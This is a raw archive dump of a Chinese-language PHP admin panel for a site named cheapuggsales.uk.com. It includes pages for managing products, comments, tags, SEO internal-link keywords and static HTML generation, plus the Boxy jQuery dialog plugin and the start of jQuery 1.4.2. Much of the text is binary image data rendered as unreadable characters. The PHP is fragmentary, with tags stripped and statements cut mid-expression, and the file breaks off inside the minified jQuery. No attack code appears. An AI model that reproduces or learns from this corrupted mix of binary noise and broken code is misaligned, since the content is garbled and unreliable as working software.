/U"YPf$4@PG2*P᪂|ppi׶Vj^ Н*`1NmУO80/ *$8`` yP CEN("Ol(Au 7AL |LobC: . hZaC,ϻ\`MB̑  0 $b {1 0CD^@-LA @BD@ ,R( !(<@ mX]A Ra\‘P ‚aÈq(2 8o"y8mfPa Q_"YPf$4@J0,RUILU`UV a P@8`jR+> z"и00B㷉 V+0L b #@B 0 "n' C` X n:5 tP̹ Q@'JE3lFh| Ä'VH0$d ! :@E $j FTHAD@ 4BXX@]Hd D D]805FF'y' ,E 0 @A  a>d ! ,-&r`A>‚aÈq(2 HbF @@M-TX2df 80 _T@UA*0PU`0C A 0,Z<pg޳4-xc 0-ba+|@ BlУ h  ED4P`^kb@M"0`8hv@lHCWKd  X! ]$0pf5ד2$&=BE !4hPIB:E$`d R.p@@D$B@X@B-pF!(<@ B X / RA ' X /E 0T‚ .4сt0Cd\A0 dIa! ,-&r`A>‚aÈq(2 HbF @@M-TX2df 80 _T@UA*0PU`0C A 0,Z<pg޳4-xc 0-ba+|@ BlУ h [Tbg(0` y5`Fݙs+ ؐd b0$N,ͻ\=4Cg@ L8{b A\B:E $ x҆Dxp@@D$\ /\pB ~

cheapuggsales.uk.com/admin_frad/kindeditor/plugins/image/images/0000777000000000000000000000000011633550314024017 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/image/images/align_left.gif0000777000000000000000000000117711633550314026623 0ustar rootrootGIF89aܜҙyeho\@]IdIeLfMgOiQjSl{쁕𣫺vʠ|ЧѪԫԐSauśU_np|kx}eoyY]aÓNKt#J*T5hUҗݥreӖleߴ!i,܀hCBAL=I;0.,9gCbad7*hNX`YZe)g@Wc[\]'>GTf_^%JFP?24I8R 3OE-٣\@]IdIeLfMgOiQjSl{쁕𣫺vʠ|ЧѪԫԐSauśU_np|kx}eoyY]aÓNKt#J*T5hUҗݥreӖleߴ!i,΀hCBAL=I;0.,9Cbad7*hNX`YZe)@Wc[\]'>GTf_^%ƊJFP?24҉I8R 3OE-\@]IdIeLfMgOiQjSl{쁕𣫺vʠ|ЧѪԫԐSauśU_np|kx}eoyY]aÓNKt#J*T5hUҗݥreӖleߴ!i,ـhgCBAL=I;0.,9Cbad7*hNX`YZe)@Wc[\]'>GTf_^%̍JFP?24̲gI8R 3OE-ڌ|=LLsrXZZ'n'AAhMM,, ̙hLLI773x؆#Q0~0,t(d PZ0_ӗLL]]j_?=K:E}EJJj!tBBֽRRcc& KRK
评论产品*
评论员
所在国家
评论时间
评价 value="3" />好评 value="2" />中评 value="1" />差评
评论内容
审核 value="0" />未审核 value="1" />已审核
0) { $actions['返回评论列表']="browse_comment.php"; $actions['返回评论审核列表']="verify_comment.php"; msg("评论编辑成功!",$actions); } } ?>cheapuggsales.uk.com/admin_frad/main.php0000777000000000000000000000267011633550314017320 0ustar rootroot 后台管理 <body>抱歉,检测到你当前使用的浏览器不支持frameset框架,可能无法正常使用本系统。</body> cheapuggsales.uk.com/admin_frad/browse_category.php0000777000000000000000000000241411633550314021566 0ustar rootroot
ID 栏目名 父栏目 操作
cheapuggsales.uk.com/admin_frad/edit_page.php0000777000000000000000000000764411633550314020323 0ustar rootroot
中文说明* 要求10个汉字以内
内容标题*
单页title
单页keys
单页description
单页内容
单页模板
后台数据文件名* 请仅填写一个英文单词,否则可能出错
前台静态文件名 不用带后缀,后缀会统一添加为.html【一般后台数据文件同名即可】
cheapuggsales.uk.com/admin_frad/correct_category.php0000777000000000000000000000047011633550314021726 0ustar rootrootcheapuggsales.uk.com/admin_frad/edit_inlink_key.php0000777000000000000000000001050011633550314021524 0ustar rootroot
內链词链接到*
内链词 链接地址【请参照內链说明填写】
cheapuggsales.uk.com/admin_frad/switchframe.html0000777000000000000000000000240711633550314021063 0ustar rootroot 显示/隐藏左侧导航栏
cheapuggsales.uk.com/admin_frad/browse_comment.php0000777000000000000000000000347711633550314021425 0ustar rootroot
ID 产品ID 评论员 评论内容 回复评论id 评论时间 操作
fetchAll($sql); pages($page,$r[0]['total'],15); ?>
cheapuggsales.uk.com/admin_frad/browse_inlink_key.php0000777000000000000000000000661211633550314022111 0ustar rootroot
內链词链接到*
内链词 链接到 操作
$v) { if($k=="" || $v=="") unset($fields[$k]); } switch($_POST['inlink_type']) { case "p": safe_write(DATA_DIR."inlink_p.php","add_data",$fields); break; case "c": safe_write(DATA_DIR."inlink_c.php","add_data",$fields); break; case "o": safe_write(DATA_DIR."inlink.php","add_data",$fields); break; default: break; } msg("內链词添加成功"); } ?>cheapuggsales.uk.com/admin_frad/edit_tagtype.php0000777000000000000000000000453011633550314021053 0ustar rootrootfetchAll("select * from tags where parentid=0 and id=".$tagtypeid); if(!$tagtype) msg('指定的标签类型不存在'); ?>
标签类型名称* 英文小写
标签类型描述*
exec($sql); if($r>0) { $actions['查看标签类型列表']="browse_tagtype.php"; $actions['给标签类型添加标签']="add_tagtype.php"; msg("标签类型更新成功!",$actions); } else { echo $sql; msg("更新失败"); } } ?> cheapuggsales.uk.com/admin_frad/html_product1.php0000777000000000000000000000555011633550314021161 0ustar rootroot
当前操作
产品id 请输入要预览或静态的产品id
请选择对应模板
请选择栏目
请选择栏目页主产品模型
请填写分组大小 默认一组产生50个静态页
cheapuggsales.uk.com/admin_frad/leftframe.html0000777000000000000000000001247411633550314020521 0ustar rootroot 左侧导航栏
欢迎您 souxunadmin
[系统管理员,退出]
cheapuggsales.uk.com/admin_frad/html_class.php0000777000000000000000000000677111633550314020533 0ustar rootroot
当前操作
请选择栏目
请选择栏目页主产品模型
请选择对应模板
栏目页产品列表大小
起始页 默认从第一页开始
是否生成栏目全部分页
若生成全部分页,请填写分组大小 默认一组产生50个静态页
请填写分组大小 默认一组产生50个静态页
cheapuggsales.uk.com/admin_frad/add_page.php0000777000000000000000000000763211633550314020123 0ustar rootroot
中文说明* 要求10个汉字以内
内容标题*
单页title
单页keys
单页description
单页内容
单页模板
后台数据文件名* 请仅填写一个英文单词,否则可能出错
前台静态文件名 不用带后缀,后缀会统一添加为.html【一般后台数据文件同名即可】
cheapuggsales.uk.com/admin_frad/add_moban.php0000777000000000000000000002214511633550314020277 0ustar rootroot
方案名称*
方案路径*
方案描述*
首页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
栏目页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
内容页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
单页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
搜索页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
其它页模板 多个模板一行写一个,行尾加|分隔符,第一行将作为默认模板
cheapuggsales.uk.com/admin_frad/js/0000777000000000000000000000000011633550314016267 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/boxy/0000777000000000000000000000000011633550314017250 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/boxy/stylesheets/0000777000000000000000000000000011633550314021624 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/boxy/stylesheets/boxy.css0000777000000000000000000000451011633550314023322 0ustar rootroot.boxy-wrapper { position: absolute; } .boxy-wrapper.fixed { position: fixed; } /* Modal */ .boxy-modal-blackout { position: absolute; background-color: black; left: 0; top: 0; } /* Border */ .boxy-wrapper { empty-cells: show; } .boxy-wrapper .top-left, .boxy-wrapper .top-right, .boxy-wrapper .bottom-right, .boxy-wrapper .bottom-left { width: 10px; height: 10px; padding: 0 } .boxy-wrapper .top-left { background: url('../images/boxy-nw.png'); } .boxy-wrapper .top-right { background: url('../images/boxy-ne.png'); } .boxy-wrapper .bottom-right { background: url('../images/boxy-se.png'); } .boxy-wrapper .bottom-left { background: url('../images/boxy-sw.png'); } /* IE6+7 hacks for the border. IE7 should support this natively but fails in conjuction with modal blackout bg. */ /* NB: these must be absolute paths or URLs to your images */ .boxy-wrapper .top-left { #background: none; #filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='/images/boxy-nw.png'); } .boxy-wrapper .top-right { #background: none; #filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='/images/boxy-ne.png'); } .boxy-wrapper .bottom-right { #background: none; #filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='/images/boxy-se.png'); } .boxy-wrapper .bottom-left { #background: none; #filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='/images/boxy-sw.png'); } .boxy-wrapper .top, .boxy-wrapper .bottom { height: 10px; background-color: black; opacity: 0.6; filter: alpha(opacity=60); padding: 0 } .boxy-wrapper .left, .boxy-wrapper .right { width: 10px; background-color: black; opacity: 0.6; filter: alpha(opacity=60); padding: 0 } /* Title bar */ .boxy-wrapper .title-bar { background-color: black; padding: 6px; position: relative; } .boxy-wrapper .title-bar.dragging { cursor: move; } .boxy-wrapper .title-bar h2 { font-size: 12px; color: white; line-height: 1; margin: 0; padding: 0; font-weight: normal; } .boxy-wrapper .title-bar .close { color: white; position: absolute; top: 6px; right: 6px; font-size: 90%; line-height: 1; } /* Content Region */ .boxy-inner { background-color: white; padding: 0 } .boxy-content { padding: 15px; } /* Question Boxes */ .boxy-wrapper .question { width: 350px; min-height: 80px; } .boxy-wrapper .answers { text-align: right; } cheapuggsales.uk.com/admin_frad/js/boxy/images/0000777000000000000000000000000011633550314020515 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/boxy/images/boxy-nw.png0000777000000000000000000000024611633550314022633 0ustar rootrootPNG  IHDR 2ϽtEXtSoftwareAdobe ImageReadyqe<HIDATxbd@@lf@,,VbW c2"B+\֡+4c 0BQ`8 ǩIENDB`cheapuggsales.uk.com/admin_frad/js/boxy/images/boxy-se.png0000777000000000000000000000023611633550314022615 0ustar rootrootPNG  IHDR 2ϽtEXtSoftwareAdobe ImageReadyqe<@IDATxbd``@`b  W*oa@싦ՀX?cSP?PbW fa qXb*dB6 VxIENDB`cheapuggsales.uk.com/admin_frad/js/boxy/images/boxy-sw.png0000777000000000000000000000025011633550314022633 0ustar rootrootPNG  IHDR 2ϽtEXtSoftwareAdobe ImageReadyqe<JIDATxbd``@`b F+b21-8!߁#T> PS_C!O!L= @̍ } ЂOIENDB`cheapuggsales.uk.com/admin_frad/js/boxy/javascripts/0000777000000000000000000000000011633550314021601 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/boxy/javascripts/jquery.boxy.js0000777000000000000000000005466211633550314024456 0ustar rootroot/** * Boxy 0.1.4 - Facebook-style dialog, with frills * * (c) 2008 Jason Frame * Licensed under the MIT License (LICENSE) */ /* * jQuery plugin * * Options: * message: confirmation message for form submit hook (default: "Please confirm:") * * Any other options - e.g. 'clone' - will be passed onto the boxy constructor (or * Boxy.load for AJAX operations) */ jQuery.fn.boxy = function(options) { options = options || {}; return this.each(function() { var node = this.nodeName.toLowerCase(), self = this; if (node == 'a') { jQuery(this).click(function() { var active = Boxy.linkedTo(this), href = this.getAttribute('href'), localOptions = jQuery.extend({actuator: this, title: this.title}, options); if (active) { active.show(); } else if (href.indexOf('#') >= 0) { var content = jQuery(href.substr(href.indexOf('#'))), newContent = content.clone(true); content.remove(); localOptions.unloadOnHide = false; new Boxy(newContent, localOptions); } else { // fall back to AJAX; could do with a same-origin check if (!localOptions.cache) localOptions.unloadOnHide = true; Boxy.load(this.href, localOptions); } return false; }); } else if (node == 'form') { jQuery(this).bind('submit.boxy', function() { Boxy.confirm(options.message || 'Please confirm:', function() { jQuery(self).unbind('submit.boxy').submit(); }); return false; }); } }); }; // // Boxy Class function Boxy(element, options) { this.boxy = jQuery(Boxy.WRAPPER); jQuery.data(this.boxy[0], 'boxy', this); this.visible = false; this.options = jQuery.extend({}, Boxy.DEFAULTS, options || {}); if (this.options.modal) { this.options = jQuery.extend(this.options, {center: true, draggable: false}); } // options.actuator == DOM element that opened this boxy // association will be automatically deleted when this boxy is remove()d if (this.options.actuator) { jQuery.data(this.options.actuator, 'active.boxy', this); } this.setContent(element || "
"); this._setupTitleBar(); this.boxy.css('display', 'none').appendTo(document.body); this.toTop(); if (this.options.fixed) { if (jQuery.browser.msie && jQuery.browser.version < 7) { this.options.fixed = false; // IE6 doesn't support fixed positioning } else { this.boxy.addClass('fixed'); } } if (this.options.center && Boxy._u(this.options.x, this.options.y)) { this.center(); } else { this.moveTo( Boxy._u(this.options.x) ? this.options.x : Boxy.DEFAULT_X, Boxy._u(this.options.y) ? this.options.y : Boxy.DEFAULT_Y ); } if (this.options.show) this.show(); }; Boxy.EF = function() {}; jQuery.extend(Boxy, { WRAPPER: "" + "" + "" + "" + "
", DEFAULTS: { title: null, // titlebar text. titlebar will not be visible if not set. closeable: true, // display close link in titlebar? draggable: true, // can this dialog be dragged? clone: false, // clone content prior to insertion into dialog? actuator: null, // element which opened this dialog center: true, // center dialog in viewport? show: true, // show dialog immediately? modal: false, // make dialog modal? fixed: true, // use fixed positioning, if supported? absolute positioning used otherwise closeText: '[close]', // text to use for default close link unloadOnHide: false, // should this dialog be removed from the DOM after being hidden? clickToFront: false, // bring dialog to foreground on any click (not just titlebar)? behaviours: Boxy.EF, // function used to apply behaviours to all content embedded in dialog. afterDrop: Boxy.EF, // callback fired after dialog is dropped. executes in context of Boxy instance. afterShow: Boxy.EF, // callback fired after dialog becomes visible. executes in context of Boxy instance. afterHide: Boxy.EF, // callback fired after dialog is hidden. executed in context of Boxy instance. beforeUnload: Boxy.EF // callback fired after dialog is unloaded. executed in context of Boxy instance. }, DEFAULT_X: 50, DEFAULT_Y: 50, zIndex: 1337, dragConfigured: false, // only set up one drag handler for all boxys resizeConfigured: false, dragging: null, // load a URL and display in boxy // url - url to load // options keys (any not listed below are passed to boxy constructor) // type: HTTP method, default: GET // cache: cache retrieved content? default: false // filter: jQuery selector used to filter remote content load: function(url, options) { options = options || {}; var ajax = { url: url, type: 'GET', dataType: 'html', cache: false, success: function(html) { html = jQuery(html); if (options.filter) html = jQuery(options.filter, html); new Boxy(html, options); } }; jQuery.each(['type', 'cache'], function() { if (this in options) { ajax[this] = options[this]; delete options[this]; } }); jQuery.ajax(ajax); }, // allows you to get a handle to the containing boxy instance of any element // e.g. inspect!. // this returns the actual instance of the boxy 'class', not just a DOM element. // Boxy.get(this).hide() would be valid, for instance. get: function(ele) { var p = jQuery(ele).parents('.boxy-wrapper'); return p.length ? jQuery.data(p[0], 'boxy') : null; }, // returns the boxy instance which has been linked to a given element via the // 'actuator' constructor option. linkedTo: function(ele) { return jQuery.data(ele, 'active.boxy'); }, // displays an alert box with a given message, calling optional callback // after dismissal. alert: function(message, callback, options) { return Boxy.ask(message, ['OK'], callback, options); }, // displays an alert box with a given message, calling after callback iff // user selects OK. confirm: function(message, after, options) { return Boxy.ask(message, ['OK', 'Cancel'], function(response) { if (response == 'OK') after(); }, options); }, // asks a question with multiple responses presented as buttons // selected item is returned to a callback method. // answers may be either an array or a hash. if it's an array, the // the callback will received the selected value. if it's a hash, // you'll get the corresponding key. ask: function(question, answers, callback, options) { options = jQuery.extend({modal: true, closeable: false}, options || {}, {show: true, unloadOnHide: true}); var body = jQuery('
').append(jQuery('
').html(question)); // ick var map = {}, answerStrings = []; if (answers instanceof Array) { for (var i = 0; i < answers.length; i++) { map[answers[i]] = answers[i]; answerStrings.push(answers[i]); } } else { for (var k in answers) { map[answers[k]] = k; answerStrings.push(answers[k]); } } var buttons = jQuery('
'); buttons.html(jQuery.map(answerStrings, function(v) { return ""; }).join(' ')); jQuery('input[type=button]', buttons).click(function() { var clicked = this; Boxy.get(this).hide(function() { if (callback) callback(map[clicked.value]); }); }); body.append(buttons); new Boxy(body, options); }, // returns true if a modal boxy is visible, false otherwise isModalVisible: function() { return jQuery('.boxy-modal-blackout').length > 0; }, _u: function() { for (var i = 0; i < arguments.length; i++) if (typeof arguments[i] != 'undefined') return false; return true; }, _handleResize: function(evt) { var d = jQuery(document); jQuery('.boxy-modal-blackout').css('display', 'none').css({ width: d.width(), height: d.height() }).css('display', 'block'); }, _handleDrag: function(evt) { var d; if (d = Boxy.dragging) { d[0].boxy.css({left: evt.pageX - d[1], top: evt.pageY - d[2]}); } }, _nextZ: function() { return Boxy.zIndex++; }, _viewport: function() { var d = document.documentElement, b = document.body, w = window; return jQuery.extend( jQuery.browser.msie ? { left: b.scrollLeft || d.scrollLeft, top: b.scrollTop || d.scrollTop } : { left: w.pageXOffset, top: w.pageYOffset }, !Boxy._u(w.innerWidth) ? { width: w.innerWidth, height: w.innerHeight } : (!Boxy._u(d) && !Boxy._u(d.clientWidth) && d.clientWidth != 0 ? { width: d.clientWidth, height: d.clientHeight } : { width: b.clientWidth, height: b.clientHeight }) ); } }); Boxy.prototype = { // Returns the size of this boxy instance without displaying it. // Do not use this method if boxy is already visible, use getSize() instead. estimateSize: function() { this.boxy.css({visibility: 'hidden', display: 'block'}); var dims = this.getSize(); this.boxy.css('display', 'none').css('visibility', 'visible'); return dims; }, // Returns the dimensions of the entire boxy dialog as [width,height] getSize: function() { return [this.boxy.width(), this.boxy.height()]; }, // Returns the dimensions of the content region as [width,height] getContentSize: function() { var c = this.getContent(); return [c.width(), c.height()]; }, // Returns the position of this dialog as [x,y] getPosition: function() { var b = this.boxy[0]; return [b.offsetLeft, b.offsetTop]; }, // Returns the center point of this dialog as [x,y] getCenter: function() { var p = this.getPosition(); var s = this.getSize(); return [Math.floor(p[0] + s[0] / 2), Math.floor(p[1] + s[1] / 2)]; }, // Returns a jQuery object wrapping the inner boxy region. // Not much reason to use this, you're probably more interested in getContent() getInner: function() { return jQuery('.boxy-inner', this.boxy); }, // Returns a jQuery object wrapping the boxy content region. // This is the user-editable content area (i.e. excludes titlebar) getContent: function() { return jQuery('.boxy-content', this.boxy); }, // Replace dialog content setContent: function(newContent) { newContent = jQuery(newContent).css({display: 'block'}).addClass('boxy-content'); if (this.options.clone) newContent = newContent.clone(true); this.getContent().remove(); this.getInner().append(newContent); this._setupDefaultBehaviours(newContent); this.options.behaviours.call(this, newContent); return this; }, // Move this dialog to some position, funnily enough moveTo: function(x, y) { this.moveToX(x).moveToY(y); return this; }, // Move this dialog (x-coord only) moveToX: function(x) { if (typeof x == 'number') this.boxy.css({left: x}); else this.centerX(); return this; }, // Move this dialog (y-coord only) moveToY: function(y) { if (typeof y == 'number') this.boxy.css({top: y}); else this.centerY(); return this; }, // Move this dialog so that it is centered at (x,y) centerAt: function(x, y) { var s = this[this.visible ? 'getSize' : 'estimateSize'](); if (typeof x == 'number') this.moveToX(x - s[0] / 2); if (typeof y == 'number') this.moveToY(y - s[1] / 2); return this; }, centerAtX: function(x) { return this.centerAt(x, null); }, centerAtY: function(y) { return this.centerAt(null, y); }, // Center this dialog in the viewport // axis is optional, can be 'x', 'y'. center: function(axis) { var v = Boxy._viewport(); var o = this.options.fixed ? [0, 0] : [v.left, v.top]; if (!axis || axis == 'x') this.centerAt(o[0] + v.width / 2, null); if (!axis || axis == 'y') this.centerAt(null, o[1] + v.height / 2); return this; }, // Center this dialog in the viewport (x-coord only) centerX: function() { return this.center('x'); }, // Center this dialog in the viewport (y-coord only) centerY: function() { return this.center('y'); }, // Resize the content region to a specific size resize: function(width, height, after) { if (!this.visible) return; var bounds = this._getBoundsForResize(width, height); this.boxy.css({left: bounds[0], top: bounds[1]}); this.getContent().css({width: bounds[2], height: bounds[3]}); if (after) after(this); return this; }, // Tween the content region to a specific size tween: function(width, height, after) { if (!this.visible) return; var bounds = this._getBoundsForResize(width, height); var self = this; this.boxy.stop().animate({left: bounds[0], top: bounds[1]}); this.getContent().stop().animate({width: bounds[2], height: bounds[3]}, function() { if (after) after(self); }); return this; }, // Returns true if this dialog is visible, false otherwise isVisible: function() { return this.visible; }, // Make this boxy instance visible show: function() { if (this.visible) return; if (this.options.modal) { var self = this; if (!Boxy.resizeConfigured) { Boxy.resizeConfigured = true; jQuery(window).resize(function() { Boxy._handleResize(); }); } this.modalBlackout = jQuery('
') .css({zIndex: Boxy._nextZ(), opacity: 0.7, width: jQuery(document).width(), height: jQuery(document).height()}) .appendTo(document.body); this.toTop(); if (this.options.closeable) { jQuery(document.body).bind('keypress.boxy', function(evt) { var key = evt.which || evt.keyCode; if (key == 27) { self.hide(); jQuery(document.body).unbind('keypress.boxy'); } }); } } this.boxy.stop().css({opacity: 1}).show(); this.visible = true; this._fire('afterShow'); return this; }, // Hide this boxy instance hide: function(after) { if (!this.visible) return; var self = this; if (this.options.modal) { jQuery(document.body).unbind('keypress.boxy'); this.modalBlackout.animate({opacity: 0}, function() { jQuery(this).remove(); }); } this.boxy.stop().animate({opacity: 0}, 300, function() { self.boxy.css({display: 'none'}); self.visible = false; self._fire('afterHide'); if (after) after(self); if (self.options.unloadOnHide) self.unload(); }); return this; }, toggle: function() { this[this.visible ? 'hide' : 'show'](); return this; }, hideAndUnload: function(after) { this.options.unloadOnHide = true; this.hide(after); return this; }, unload: function() { this._fire('beforeUnload'); this.boxy.remove(); if (this.options.actuator) { jQuery.data(this.options.actuator, 'active.boxy', false); } }, // Move this dialog box above all other boxy instances toTop: function() { this.boxy.css({zIndex: Boxy._nextZ()}); return this; }, // Returns the title of this dialog getTitle: function() { return jQuery('> .title-bar h2', this.getInner()).html(); }, // Sets the title of this dialog setTitle: function(t) { jQuery('> .title-bar h2', this.getInner()).html(t); return this; }, // // Don't touch these privates _getBoundsForResize: function(width, height) { var csize = this.getContentSize(); var delta = [width - csize[0], height - csize[1]]; var p = this.getPosition(); return [Math.max(p[0] - delta[0] / 2, 0), Math.max(p[1] - delta[1] / 2, 0), width, height]; }, _setupTitleBar: function() { if (this.options.title) { var self = this; var tb = jQuery("
").html("

" + this.options.title + "

"); if (this.options.closeable) { tb.append(jQuery("").html(this.options.closeText)); } if (this.options.draggable) { tb[0].onselectstart = function() { return false; } tb[0].unselectable = 'on'; tb[0].style.MozUserSelect = 'none'; if (!Boxy.dragConfigured) { jQuery(document).mousemove(Boxy._handleDrag); Boxy.dragConfigured = true; } tb.mousedown(function(evt) { self.toTop(); Boxy.dragging = [self, evt.pageX - self.boxy[0].offsetLeft, evt.pageY - self.boxy[0].offsetTop]; jQuery(this).addClass('dragging'); }).mouseup(function() { jQuery(this).removeClass('dragging'); Boxy.dragging = null; self._fire('afterDrop'); }); } this.getInner().prepend(tb); this._setupDefaultBehaviours(tb); } }, _setupDefaultBehaviours: function(root) { var self = this; if (this.options.clickToFront) { root.click(function() { self.toTop(); }); } jQuery('.close', root).click(function() { self.hide(); return false; }).mousedown(function(evt) { evt.stopPropagation(); }); }, _fire: function(event) { this.options[event].call(this); } }; /* BoxyԲ whsrc qBox.Close();رյǰ qBox.iFSrc({}); ı䵱ǰڵԼָ BoxyԲ whsrc */ //Boxyչ jQuery.fn.qbox=function(options){ var node = this.get(0).nodeName.toLowerCase(); var self=this; if (node == "a") { $(this).attr("onclick","").unbind("click").click(function(){return false;}); options = $.extend(options||{},{src:this.get(0).getAttribute("href"),beforeUnload:function(){ $(self).unbind("click").click(function(){return $(this).qbox(options);});}}); } qBox.iFLoad(options); return false; } var qBox=function(){}; jQuery.extend(qBox,{ aDgs:[], iFrame:function(op){ op = jQuery.extend({title:"ʾ",w:320,h:200,src:"about:blank",modal:false,fixed:false,unloadOnHide:true},op),fm=parseInt(Math.random()*(1000*987));// var dialog = new Boxy("ڼأԺ....",op); jQuery("#_"+fm).load(function(){ dialog.resize(op.w,op.h,function(){}); jQuery("#ld"+fm).remove(); jQuery("#_"+fm).css({"padding":"15px","display":""}); }); qBox.aDgs.push(dialog); return false; }, Close:function(){ qBox.aDgs[qBox.aDgs.length-1].hide(); return false }, iFSrc:function(op){ op = jQuery.extend({w:320,h:200,src:"about:blank"},op); qBox.aDgs[qBox.aDgs.length-1].getContent().attr("src","about:blank"); qBox.aDgs[qBox.aDgs.length-1].setTitle(op.t); qBox.aDgs[qBox.aDgs.length-1].tween(op.w,op.h,function(){qBox.aDgs[qBox.aDgs.length-1].getContent().attr("src",op.src).css({width:op.w,height:op.h});}); return false; }, iFLoad:function(options){ var sr= jQuery(this).attr("href"); var op = jQuery.extend({src:sr},options); qBox.iFrame(op); return false; } }); cheapuggsales.uk.com/admin_frad/js/nav.js0000777000000000000000000001002311633550314017410 0ustar rootroot// 导航栏配置文件 var outlookbar=new outlook(); var t; t=outlookbar.addtitle('基本设置','系统设置',1) outlookbar.additem('参数设置',t,'config.php') outlookbar.additem('统计代码',t,'statistics_code.php') t=outlookbar.addtitle('首页设置','系统设置',1) outlookbar.additem('首页设置',t,'edit_index.php') t=outlookbar.addtitle('内容模型','系统设置',1) outlookbar.additem('新建内容模型',t,'add_model.php') outlookbar.additem('编辑内容模型',t,'edit_model.php') outlookbar.additem('创建模型数据表',t,'add_model_table.php') t=outlookbar.addtitle('退出系统','管理首页',1) outlookbar.additem('点击退出登录',t,'logout.php') t=outlookbar.addtitle('栏目管理','内容管理',1) outlookbar.additem('新建栏目',t,'add_category.php') outlookbar.additem('编辑栏目',t,'browse_category.php') outlookbar.additem('栏目排序',t,'sort_category.php') t=outlookbar.addtitle('产品管理','内容管理',1) outlookbar.additem('新建产品',t,'add_product.php') outlookbar.additem('编辑产品',t,'browse_product.php') t=outlookbar.addtitle('产品标签','内容管理',1) outlookbar.additem('新建标签分类',t,'add_tagtype.php') outlookbar.additem('编辑标签分类',t,'browse_tagtype.php') outlookbar.additem('新建标签',t,'add_tag.php') outlookbar.additem('编辑标签',t,'browse_tag.php') t=outlookbar.addtitle('内链词管理','内容管理',1) outlookbar.additem('添加內链词',t,'add_inlink_key.php') outlookbar.additem('管理內链词',t,'browse_inlink_key.php') outlookbar.additem('添加栏目名到內链词',t,'add_catename_to_inlink.php') t=outlookbar.addtitle('单页管理','内容管理',1) outlookbar.additem('新建单页',t,'add_page.php') outlookbar.additem('编辑单页',t,'browse_page.php') t=outlookbar.addtitle('管理评论','评论管理',1) outlookbar.additem('添加评论',t,'add_comment.php') outlookbar.additem('编辑评论',t,'browse_comment.php') outlookbar.additem('审核评论',t,'verify_comment.php') t=outlookbar.addtitle('管理模板','模板管理',1) outlookbar.additem('导入模板方案',t,'add_moban_fangan.php') outlookbar.additem('编辑模板方案',t,'edit_moban_fangan.php') outlookbar.additem('导入模板',t,'add_moban.php') t=outlookbar.addtitle('使用模板','模板管理',1) outlookbar.additem('模板方案',t,'template.php') outlookbar.additem('首页模板',t,'template_set.php?m_p=index') outlookbar.additem('栏目页模板',t,'template_set.php?m_p=list') outlookbar.additem('内容页模板',t,'template_set.php?m_p=content') outlookbar.additem('单页模板',t,'template_set.php?m_p=page') outlookbar.additem('搜索页模板',t,'template_set.php?m_p=search') outlookbar.additem('其它页模板',t,'template_set.php?m_p=other') t=outlookbar.addtitle('首页静态','静态管理',1) outlookbar.additem('首页静态预览',t,'../html.php?action=view&type=index') outlookbar.additem('首页静态生成',t,'../html.php?action=save&type=index') t=outlookbar.addtitle('栏目页静态','静态管理',1) outlookbar.additem('栏目页静态预览',t,'html_class.php?action=view') outlookbar.additem('栏目页静态生成',t,'html_class.php?action=save') outlookbar.additem('栏目页静态批量生成',t,'html_class.php?action=save&batch_all=1') t=outlookbar.addtitle('内容页静态','静态管理',1) outlookbar.additem('内容页静态预览',t,'html_product1.php?action=view') outlookbar.additem('内容页静态生成',t,'html_product1.php?action=save') outlookbar.additem('内容页静态批量生成',t,'html_product1.php?action=save&batch=1') outlookbar.additem('内容页全部静态生成',t,'html_product1.php?action=save&batch_all=1') t=outlookbar.addtitle('单页静态','静态管理',1) outlookbar.additem('单页静态预览',t,'html_page.php?action=view') outlookbar.additem('单页静态生成',t,'html_page.php?action=save') t=outlookbar.addtitle('其它页静态','静态管理',1) outlookbar.additem('其它页静态预览',t,'html_other.php?action=view') outlookbar.additem('其它页静态生成',t,'html_other.php?action=save')cheapuggsales.uk.com/admin_frad/js/jquery.min.js0000777000000000000000000021475611633550314020750 0ustar rootroot/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2010, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Sat Feb 13 22:33:48 2010 -0500 */ (function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/, Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&& (d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else 